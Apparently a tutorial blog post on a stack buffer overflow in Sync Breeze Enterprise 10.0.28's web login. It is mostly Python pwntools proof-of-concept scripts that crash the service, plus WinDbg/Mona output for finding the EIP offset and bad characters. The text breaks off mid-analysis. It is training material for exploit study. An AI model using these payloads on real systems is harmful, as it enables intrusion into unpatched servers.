Exploit Development Windows User Mode Stack Overflow
Stack Overflow
Once we understand the basic [fundamentals] (https://r00tven0m.github.io/posts/Exploit-Development-Windows-User-Mode-Fundamentals/) of exploitation and why a Buffer Overflow occurs, we can attempt to exploit an application. Although there are some CTF binaries available for learning, it might be better to exploit a real application with a bit more complexity to develop the logic of exploitation.
Configuration
The application used will be Sync Breeze Enterprise 10.0.28, which will serve as our target for exploitation. Using the installer, it is easy to install with just a few “next” clicks.
This application creates a service called Sync Breeze Enterprise
, which we can view using the services.msc
command. One thing to keep in mind is that when the program crashes, it is not enough to simply reopen it; we need to restart this service. One thing we do is change the user running the service to a local
user. This is not necessary but makes it easier for the program to interact with the desktop.
It will also be necessary to enable the web server since that is where the vulnerability occurs.
Once this is done, we can simply attach to the syncbrs.exe
process.
Crashing Application
There are multiple ways to find a memory corruption vulnerability. Some of the most common methods are:
1
2
3
Fuzzing: This involves sending multiple patterns of characters into all fields where input can be entered to try and corrupt the program.
Reversing: This involves disassembling the program to understand its functionality and searching for vulnerabilities using only the application’s source code.
The aforementioned techniques are somewhat extensive and will require their own posts to explain in detail. For now, we will use an exploit found on exploitdb
as a base and attempt to exploit the application starting from the proof of concept (PoC)
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3
from pwn import remote
payload = b"A" * 1000
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
When we execute the PoC, as we saw in the funda[fundamentals] (https://r00tven0m.github.io/posts/Exploit-Development-Windows-User-Mode-Fundamentals/)mentals, what will happen is that a return address on the stack is overwritten, and the EIP register ends up pointing to 0x41414141
, which is the hexadecimal value of AAAA
. The program fails to find this address and crashes.
1
2
3
4
python3 exploit.py
[+] Opening connection to Windows on port 80: Done
[*] Closed connection to Windows port 80
1
2
3
4
5
6
7
8
9
0:000> g
(16bc.1924): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=00709ddc edx=00000350 esi=006fc4ce edi=010533f0
eip=41414141 esp=01c0744c ebp=006fe420 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
41414141 ?? ???
Find Offset
Our goal is to gain control over the EIP
register, but for that, we need to determine how many bytes are needed before overwriting it. To achieve this, we can use Mona and create a pattern of characters that will help us find the exact number of bytes.
1
2
3
4
5
6
7
8
9
10
11
0:000> .load pykd.pyd
0:000> !py mona pattern_create 1000
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1000
Creating cyclic pattern of 1000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B
[+] Preparing output file 'pattern.txt'
- (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file
Now, we replace the 1000 A's
in the payload with this pattern and send the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3
from pwn import remote
payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
One thing to keep in mind is that when we want to re-run the application after it crashes, we need to restart the service and reattach to the process.
Once the exploit is sent, the program crashes, but now it does not point to 0x41414141
; instead, it points to 0x72413372
, which is part of the Mona character pattern.
1
2
3
4
5
6
7
8
9
0:000> g
(990.1f78): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006dd034 edx=00000350 esi=006d614e edi=01086ac8
eip=72413372 esp=01c2744c ebp=006cec30 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
72413372 ?? ???
Since we know this, we can use pattern_offset
to calculate the number of bytes
needed before overwriting the EIP
register, which is 520
bytes.
1
2
3
4
5
6
7
8
9
10
11
12
0:000> !py mona pattern_offset eip
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset eip
Looking for r3Ar in pattern of 500000 bytes
- Pattern r3Ar (0x72413372) found in cyclic pattern at position 520
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
- Pattern rA3r not found in cyclic pattern (uppercase)
Looking for r3Ar in pattern of 500000 bytes
Looking for rA3r in pattern of 500000 bytes
- Pattern rA3r not found in cyclic pattern (lowercase)
Given the offset, we can now send 520 A's
to reach the EIP register, overwrite it with 4 B's
, and then send 300 C’s. These 300 C's
should be placed just where the stack
begins, so the ESP
register should point to these C's
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 300
payload = junk + ret + stack
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
When executing the exploit, the program crashes, and the EIP points to 0x42424242
, which corresponds to BBBB
.
1
2
3
4
5
6
7
8
0:000> g
(1fc4.1db4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=00000000 ecx=006b02c4 edx=00000350 esi=006a976e edi=01036ac8
eip=42424242 esp=01c0744c ebp=006a4920 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
42424242 ??
A specific issue with this program, unlike others, is that the ESP points to 0x01c0744c
, whereas the C's
start at 0x01c07448
, which is 4 bytes
earlier. This results in losing aDWORD
, and if this were a shellcode, it would omit some instructions.
1
2
3
4
5
6
0:000> dds esp - 8 L5
01c07444 42424242 (esp - 8)
01c07448 43434343 (esp - 4) [dword lost]
01c0744c 43434343 (esp + 0)
01c07450 43434343 (esp + 4)
01c07454 43434343 (esp + 8)
To avoid this issue, we will add 4 C's
as the missing DWORD and then follow with 300 D's
. The 300 D's
should be placed exactly on the stack where the ESP
points.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
filler = b"C" * 4
stack = b"D" * 300
payload = junk + ret + filler + stack
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
If we check the memory now, the address of the ESP points exactly to where the D’s are located.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0:000> dds esp - 8 L5
008e7444 42424242 (esp - 8)
008e7448 43434343 (esp - 4) [dword lost]
008e744c 44444444 (esp + 0)
008e7450 44444444 (esp + 4)
008e7454 44444444 (esp + 8)
0:000> db esp
008e744c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e745c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e746c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e747c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e748c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e749c 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74ac 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
008e74bc 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
Find Badchars
It’s crucial to detect bytes
that could cause issues, as the program might have problems with certain specific characters and truncate the string. If this occurs in a shellcode, it could remove many instructions and prevent it from executing properly.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
We modified the exploit so that instead of storing D's
on the stack, it stores our byte array of the 256
possible characters. We can then compare this memory address with the .bin
file created by Mona, which lists all potential bad characters
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python3
from pwn import remote
offset = 520
junk = b"A" * offset
ret = b"B" * 4
filler = b"C" * 4
badchars = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = junk + ret + filler + badchars
data = b"username=username&password=" + payload
content = b""
content += b"POST /login HTTP/1.1\r\n"
content += b"Content-Type: application/x-www-form-urlencoded\r\n"
content += b"Content-Length: " + str(len(data)).encode() + b"\r\n\r\n"
content += data
shell = remote("Windows", 80)
shell.send(content)
When sending the exploit, the 256
bytes should be present on the stack. By using Mona to compare the .bin
file with that memory address, it’s interesting to note that all characters are marked as badchars except for0x00
. This happens because the null byte
(0x00) is used to indicate the termination of a string, so everything preceding it isn’t written. Thus, our first badchar is 0x00
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 256 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c3744c | [+] Comparing with memory at location : 0x01c3744c (Stack)
0x01c3744c | Only 1 original bytes of 'normal' code found.
0x01c3744c | ,-----------------------------------------------.
0x01c3744c | | Comparison results: |
0x01c3744c | |-----------------------------------------------|
0x01c3744c | 0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x01c3744c | | fd 73 00 c8 6a 09 01 10 ef 5b 00 c0 71 08 01| Memory
0x01c3744c | 10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x01c3744c | |c8 6a 09 01 06 00 00 00 08 ab c3 01 00 00 00 00| Memory
0x01c3744c | 20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x01c3744c | |00 00 00 00 00 fd a8 00 01 00 00 00 00 00 00 00| Memory
0x01c3744c | 30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x01c3744c | |00 00 00 00 00 00 00 00 02 00 00 00 a8 c1 73 00| Memory
0x01c3744c | 40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x01c3744c | |0b 00 00 00 00 00 00 00 00 00 00 00 80 f4 a8 00| Memory
0x01c3744c | 50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x01c3744c | |01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x01c3744c | |c4 d0 c3 01 f8 aa c3 01 70 74 c3 01 00 00 00 00| Memory
0x01c3744c | 70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | 90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x01c3744c | |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c3744c | `-----------------------------------------------'
0x01c3744c |
0x01c3744c | | File | Memory | Note
0x01c3744c | -------------------------------------------------
0x01c3744c | 0 0 1 1 | 00 | 00 | unmodified!
0x01c3744c | 1 1 255 255 | 01 ... ff | fd ... 00 | corrupted
0x01c3744c |
0x01c3744c | Possibly bad chars: 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f 50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f 60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f 80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f 90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff
0x01c3744c |
What we do is create a new byte array that omits the 0x00
byte. This will create a .bin
file that excludes the null byte at the beginning. Additionally, we remove this byte from the exploit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
- (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
Done, wrote 255 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin
1
2
3
4
5
6
7
8
9
10
badchars = b""
badchars += b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
After sending the exploit and comparing the stack with the .bin file, we see that 0x00
is omitted, and up to byte 0x09
, the bytes match correctly. However, it seems that byte 0x0a is not written correctly to the stack, and Mona suggests it as a badchar
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
0:000> !py mona compare -f C:\mona\bytearray.bin -a esp
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a esp
[+] Reading file C:\mona\bytearray.bin...
Read 255 bytes from file
[+] Preparing output file 'compare.txt'
- (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
- Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c2744c | [+] Comparing with memory at location : 0x01c2744c (Stack)
0x01c2744c | Only 10 original bytes of 'normal' code found.
0x01c2744c | ,-----------------------------------------------.
0x01c2744c | | Comparison results: |
0x01c2744c | |-----------------------------------------------|
0x01c2744c | 0 |01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10| File
0x01c2744c | | 00 a8 00 78 71 01| Memory
0x01c2744c | 10 |11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20| File
